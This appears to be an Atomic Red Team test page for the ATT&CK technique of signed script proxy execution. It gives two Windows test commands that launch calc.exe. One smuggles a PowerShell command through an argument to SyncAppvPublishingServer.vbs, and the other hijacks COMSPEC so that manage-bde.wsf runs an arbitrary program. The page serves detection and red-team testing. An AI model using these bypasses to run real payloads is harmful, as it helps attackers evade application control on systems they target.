Adversaries may use scripts signed with trusted certificates to proxy execution of malicious files. Several Microsoft signed scripts that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)
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Atomic Test #1 - SyncAppvPublishingServer Signed Script PowerShell Command Execution
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Atomic Test #2 - manage-bde.wsf Signed Script Command Execution
Executes the signed SyncAppvPublishingServer script with options to execute an arbitrary PowerShell command. Upon execution, calc.exe will be launched.
Supported Platforms: Windows
Name | Description | Type | Default Value |
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command_to_execute | A PowerShell command to execute. | string | Start-Process calc |
C:\windows\system32\SyncAppvPublishingServer.vbs "\n;#{command_to_execute}"
Executes the signed manage-bde.wsf script with options to execute an arbitrary command.
Supported Platforms: Windows
Name | Description | Type | Default Value |
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command_to_execute | A command to execute. | Path | %windir%\System32\calc.exe |
set comspec=#{command_to_execute}
cscript %windir%\System32\manage-bde.wsf
set comspec=%windir%\System32\cmd.exe